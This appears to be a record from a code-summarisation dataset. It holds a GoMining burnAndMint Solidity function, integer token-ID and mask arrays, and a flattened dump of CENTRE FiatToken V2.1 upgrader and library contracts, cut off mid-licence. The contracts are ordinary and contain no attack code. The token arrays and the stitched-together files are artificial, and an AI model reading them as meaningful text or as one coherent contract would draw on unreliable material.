function burnAndMint() external onlyRole(MINTER_AND_BURNER_ROLE) { require(readyToBurn > 0, "MinterBurner: nothing to burn"); require( IGoMiningToken(Token).balanceOf(address(this)) >= readyToBurn, "MinterBurner: not enough balance" ); uint256 amountToMint = getAmountToMint(readyToBurn); IGoMiningToken(Token).burn(address(this), readyToBurn); burnAndMintHistory[mintBurnIndex] = BurnAndMint( readyToBurn, amountToMint, mintRewardDeciPercents, block.timestamp, block.number ); burntAmount += readyToBurn; readyToBurn = 0; uint256 amountToMintForReward = (amountToMint * mintRewardDeciPercents) / 1000; IGoMiningToken(Token).mint(address(this), amountToMintForReward); require(IGoMiningToken(Token).approve(MintReward, amountToMintForReward), "MinterBurner: approve failed"); IMintReward(MintReward).receiveReward(amountToMintForReward); for (uint256 i = 0; i < mintReceivers.length; i++) { MintReceiver memory mintReceiver = mintReceivers[i]; uint256 rAmountToMint = (amountToMint * mintReceiver.deciPercents) / 1000; ReceiverBurnAndMint memory rNew = ReceiverBurnAndMint( rAmountToMint, mintBurnIndex, mintReceiver.deciPercents, block.timestamp, block.number ); uint256 uIndex = receiverBurnAndMintIndex[mintReceiver.receiver] + 1; receiverBurnAndMintIndex[mintReceiver.receiver] = uIndex; receiverBurnAndMintHistory[mintReceiver.receiver][uIndex] = rNew; IGoMiningToken(Token).mint( mintReceiver.receiver, rAmountToMint ); } emit BurntAndMinted(readyToBurn, amountToMint, mintBurnIndex); mintBurnIndex++; }
4,933,373
[ 1, 38, 321, 2430, 353, 5695, 358, 18305, 471, 312, 474, 8894, 19890, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18305, 1876, 49, 474, 1435, 3903, 1338, 2996, 12, 6236, 2560, 67, 4307, 67, 38, 8521, 654, 67, 16256, 13, 288, 203, 3639, 2583, 12, 1672, 774, 38, 321, 405, 374, 16, 315, 49, 2761, 38, 321, 264, 30, 5083, 358, 18305, 8863, 203, 203, 3639, 2583, 12, 203, 5411, 467, 5741, 2930, 310, 1345, 12, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 5695, 774, 38, 321, 16, 203, 5411, 315, 49, 2761, 38, 321, 264, 30, 486, 7304, 11013, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 3844, 774, 49, 474, 273, 24418, 774, 49, 474, 12, 1672, 774, 38, 321, 1769, 203, 203, 3639, 467, 5741, 2930, 310, 1345, 12, 1345, 2934, 70, 321, 12, 2867, 12, 2211, 3631, 5695, 774, 38, 321, 1769, 203, 203, 3639, 18305, 1876, 49, 474, 5623, 63, 81, 474, 38, 321, 1016, 65, 273, 605, 321, 1876, 49, 474, 12, 203, 5411, 5695, 774, 38, 321, 16, 203, 5411, 3844, 774, 49, 474, 16, 203, 5411, 312, 474, 17631, 1060, 1799, 77, 8410, 87, 16, 203, 5411, 1203, 18, 5508, 16, 203, 5411, 1203, 18, 2696, 203, 3639, 11272, 203, 203, 3639, 18305, 88, 6275, 1011, 5695, 774, 38, 321, 31, 203, 203, 3639, 5695, 774, 38, 321, 273, 374, 31, 203, 203, 3639, 2254, 5034, 3844, 774, 49, 474, 1290, 17631, 1060, 273, 261, 8949, 774, 49, 474, 380, 312, 474, 17631, 1060, 1799, 77, 8410, 87, 13, 342, 203, 10792, 4336, 31, 203, 3639, 467, 5741, 2930, 310, 2 ]
/** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "../../v1/Ownable.sol"; import { FiatTokenV2_1 } from "../FiatTokenV2_1.sol"; import { FiatTokenProxy } from "../../v1/FiatTokenProxy.sol"; import { V2UpgraderHelper } from "./V2UpgraderHelper.sol"; /** * @title V2.1 Upgrader * @dev Read docs/v2.1_upgrade.md */ contract V2_1Upgrader is Ownable { using SafeMath for uint256; FiatTokenProxy private _proxy; FiatTokenV2_1 private _implementation; address private _newProxyAdmin; address private _lostAndFound; V2UpgraderHelper private _helper; /** * @notice Constructor * @param proxy FiatTokenProxy contract * @param implementation FiatTokenV2_1 implementation contract * @param newProxyAdmin Grantee of proxy admin role after upgrade * @param lostAndFound The address to which the locked funds are sent */ constructor( FiatTokenProxy proxy, FiatTokenV2_1 implementation, address newProxyAdmin, address lostAndFound ) public Ownable() { _proxy = proxy; _implementation = implementation; _newProxyAdmin = newProxyAdmin; _lostAndFound = lostAndFound; _helper = new V2UpgraderHelper(address(proxy)); } /** * @notice The address of the FiatTokenProxy contract * @return Contract address */ function proxy() external view returns (address) { return address(_proxy); } /** * @notice The address of the FiatTokenV2 implementation contract * @return Contract address */ function implementation() external view returns (address) { return address(_implementation); } /** * @notice The address of the V2UpgraderHelper contract * @return Contract address */ function helper() external view returns (address) { return address(_helper); } /** * @notice The address to which the proxy admin role will be transferred * after the upgrade is completed * @return Address */ function newProxyAdmin() external view returns (address) { return _newProxyAdmin; } /** * @notice The address to which the locked funds will be sent as part of the * initialization process * @return Address */ function lostAndFound() external view returns (address) { return _lostAndFound; } /** * @notice Upgrade, transfer proxy admin role to a given address, run a * sanity test, and tear down the upgrader contract, in a single atomic * transaction. It rolls back if there is an error. */ function upgrade() external onlyOwner { // The helper needs to be used to read contract state because // AdminUpgradeabilityProxy does not allow the proxy admin to make // proxy calls. // Check that this contract sufficient funds to run the tests uint256 contractBal = _helper.balanceOf(address(this)); require(contractBal >= 2e5, "V2_1Upgrader: 0.2 BRLC needed"); uint256 callerBal = _helper.balanceOf(msg.sender); // Keep original contract metadata string memory name = _helper.name(); string memory symbol = _helper.symbol(); uint8 decimals = _helper.decimals(); string memory currency = _helper.currency(); address masterMinter = _helper.masterMinter(); address owner = _helper.fiatTokenOwner(); address pauser = _helper.pauser(); address blacklister = _helper.blacklister(); // Change implementation contract address _proxy.upgradeTo(address(_implementation)); // Transfer proxy admin role _proxy.changeAdmin(_newProxyAdmin); // Initialize V2 contract FiatTokenV2_1 v2_1 = FiatTokenV2_1(address(_proxy)); v2_1.initializeV2_1(_lostAndFound); // Sanity test // Check metadata require( keccak256(bytes(name)) == keccak256(bytes(v2_1.name())) && keccak256(bytes(symbol)) == keccak256(bytes(v2_1.symbol())) && decimals == v2_1.decimals() && keccak256(bytes(currency)) == keccak256(bytes(v2_1.currency())) && masterMinter == v2_1.masterMinter() && owner == v2_1.owner() && pauser == v2_1.pauser() && blacklister == v2_1.blacklister(), "V2_1Upgrader: metadata test failed" ); // Test balanceOf require( v2_1.balanceOf(address(this)) == contractBal, "V2_1Upgrader: balanceOf test failed" ); // Test transfer require( v2_1.transfer(msg.sender, 1e5) && v2_1.balanceOf(msg.sender) == callerBal.add(1e5) && v2_1.balanceOf(address(this)) == contractBal.sub(1e5), "V2_1Upgrader: transfer test failed" ); // Test approve/transferFrom require( v2_1.approve(address(_helper), 1e5) && v2_1.allowance(address(this), address(_helper)) == 1e5 && _helper.transferFrom(address(this), msg.sender, 1e5) && v2_1.allowance(address(this), msg.sender) == 0 && v2_1.balanceOf(msg.sender) == callerBal.add(2e5) && v2_1.balanceOf(address(this)) == contractBal.sub(2e5), "V2_1Upgrader: approve/transferFrom test failed" ); // Transfer any remaining BRLC to the caller withdrawBRLC(); // Tear down _helper.tearDown(); selfdestruct(msg.sender); } /** * @notice Withdraw any BRLC in the contract */ function withdrawBRLC() public onlyOwner { IERC20 brlc = IERC20(address(_proxy)); uint256 balance = brlc.balanceOf(address(this)); if (balance > 0) { require( brlc.transfer(msg.sender, balance), "V2_1Upgrader: failed to withdraw BRLC" ); } } /** * @notice Transfer proxy admin role to newProxyAdmin, and self-destruct */ function abortUpgrade() external onlyOwner { // Transfer proxy admin role _proxy.changeAdmin(_newProxyAdmin); // Tear down _helper.tearDown(); selfdestruct(msg.sender); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @notice The Ownable contract has an owner address, and provides basic * authorization control functions * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-labs/blob/3887ab77b8adafba4a26ace002f3a684c1a3388b/upgradeability_ownership/contracts/ownership/Ownable.sol * Modifications: * 1. Consolidate OwnableStorage into this contract (7/13/18) * 2. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 3. Make public functions external (5/27/20) */ contract Ownable { // Owner of the contract address private _owner; /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event OwnershipTransferred(address previousOwner, address newOwner); /** * @dev The constructor sets the original owner of the contract to the sender account. */ constructor() public { setOwner(msg.sender); } /** * @dev Tells the address of the owner * @return the address of the owner */ function owner() external view returns (address) { return _owner; } /** * @dev Sets a new owner address */ function setOwner(address newOwner) internal { _owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); setOwner(newOwner); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV2 } from "./FiatTokenV2.sol"; // solhint-disable func-name-mixedcase /** * @title FiatToken V2.1 * @notice ERC20 Token backed by fiat reserves, version 2.1 */ contract FiatTokenV2_1 is FiatTokenV2 { /** * @notice Initialize v2.1 * @param lostAndFound The address to which the locked funds are sent */ function initializeV2_1(address lostAndFound) external { // solhint-disable-next-line reason-string require(_initializedVersion == 1); uint256 lockedAmount = balances[address(this)]; if (lockedAmount > 0) { _transfer(address(this), lostAndFound, lockedAmount); } blacklisted[address(this)] = true; _initializedVersion = 2; } /** * @notice Version string for the EIP712 domain separator * @return Version string */ function version() external view returns (string memory) { return "2"; } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AdminUpgradeabilityProxy } from "../upgradeability/AdminUpgradeabilityProxy.sol"; /** * @title FiatTokenProxy * @dev This contract proxies FiatToken calls and enables FiatToken upgrades */ contract FiatTokenProxy is AdminUpgradeabilityProxy { constructor(address implementationContract) public AdminUpgradeabilityProxy(implementationContract) {} } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1 } from "../../v1/FiatTokenV1.sol"; import { Ownable } from "../../v1/Ownable.sol"; /** * @title V2 Upgrader Helper * @dev Enables V2Upgrader to read some contract state before it renounces the * proxy admin role. (Proxy admins cannot call delegated methods.) It is also * used to test approve/transferFrom. */ contract V2UpgraderHelper is Ownable { address private _proxy; /** * @notice Constructor * @param fiatTokenProxy Address of the FiatTokenProxy contract */ constructor(address fiatTokenProxy) public Ownable() { _proxy = fiatTokenProxy; } /** * @notice The address of the FiatTokenProxy contract * @return Contract address */ function proxy() external view returns (address) { return address(_proxy); } /** * @notice Call name() * @return name */ function name() external view returns (string memory) { return FiatTokenV1(_proxy).name(); } /** * @notice Call symbol() * @return symbol */ function symbol() external view returns (string memory) { return FiatTokenV1(_proxy).symbol(); } /** * @notice Call decimals() * @return decimals */ function decimals() external view returns (uint8) { return FiatTokenV1(_proxy).decimals(); } /** * @notice Call currency() * @return currency */ function currency() external view returns (string memory) { return FiatTokenV1(_proxy).currency(); } /** * @notice Call masterMinter() * @return masterMinter */ function masterMinter() external view returns (address) { return FiatTokenV1(_proxy).masterMinter(); } /** * @notice Call owner() * @dev Renamed to fiatTokenOwner due to the existence of Ownable.owner() * @return owner */ function fiatTokenOwner() external view returns (address) { return FiatTokenV1(_proxy).owner(); } /** * @notice Call pauser() * @return pauser */ function pauser() external view returns (address) { return FiatTokenV1(_proxy).pauser(); } /** * @notice Call blacklister() * @return blacklister */ function blacklister() external view returns (address) { return FiatTokenV1(_proxy).blacklister(); } /** * @notice Call balanceOf(address) * @param account Account * @return balance */ function balanceOf(address account) external view returns (uint256) { return FiatTokenV1(_proxy).balanceOf(account); } /** * @notice Call transferFrom(address,address,uint256) * @param from Sender * @param to Recipient * @param value Amount * @return result */ function transferFrom( address from, address to, uint256 value ) external returns (bool) { return FiatTokenV1(_proxy).transferFrom(from, to, value); } /** * @notice Tear down the contract (self-destruct) */ function tearDown() external onlyOwner { selfdestruct(msg.sender); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1_1 } from "../v1.1/FiatTokenV1_1.sol"; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712 } from "../util/EIP712.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP3009 } from "./EIP3009.sol"; import { EIP2612 } from "./EIP2612.sol"; /** * @title FiatToken V2 * @notice ERC20 Token backed by fiat reserves, version 2 */ contract FiatTokenV2 is FiatTokenV1_1, EIP3009, EIP2612 { uint8 internal _initializedVersion; /** * @notice Initialize v2 * @param newName New token name */ function initializeV2(string calldata newName) external { // solhint-disable-next-line reason-string require(initialized && _initializedVersion == 0); name = newName; DOMAIN_SEPARATOR = EIP712.makeDomainSeparator(newName, "2"); _initializedVersion = 1; } /** * @notice Increase the allowance by a given increment * @param spender Spender's address * @param increment Amount of increase in allowance * @return True if successful */ function increaseAllowance(address spender, uint256 increment) external whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _increaseAllowance(msg.sender, spender, increment); return true; } /** * @notice Decrease the allowance by a given decrement * @param spender Spender's address * @param decrement Amount of decrease in allowance * @return True if successful */ function decreaseAllowance(address spender, uint256 decrement) external whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _decreaseAllowance(msg.sender, spender, decrement); return true; } /** * @notice Execute a transfer with a signed authorization * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(from) notBlacklisted(to) { _transferWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); } /** * @notice Receive a transfer with a signed authorization from the payer * @dev This has an additional check to ensure that the payee's address * matches the caller of this function to prevent front-running attacks. * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(from) notBlacklisted(to) { _receiveWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); } /** * @notice Attempt to cancel an authorization * @dev Works only if the authorization is not yet used. * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function cancelAuthorization( address authorizer, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused { _cancelAuthorization(authorizer, nonce, v, r, s); } /** * @notice Update allowance with a signed permit * @param owner Token owner's address (Authorizer) * @param spender Spender's address * @param value Amount of allowance * @param deadline Expiration time, seconds since the epoch * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external whenNotPaused notBlacklisted(owner) notBlacklisted(spender) { _permit(owner, spender, value, deadline, v, r, s); } /** * @notice Internal function to increase the allowance by a given increment * @param owner Token owner's address * @param spender Spender's address * @param increment Amount of increase */ function _increaseAllowance( address owner, address spender, uint256 increment ) internal override { _approve(owner, spender, allowed[owner][spender].add(increment)); } /** * @notice Internal function to decrease the allowance by a given decrement * @param owner Token owner's address * @param spender Spender's address * @param decrement Amount of decrease */ function _decreaseAllowance( address owner, address spender, uint256 decrement ) internal override { _approve( owner, spender, allowed[owner][spender].sub( decrement, "ERC20: decreased allowance below zero" ) ); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 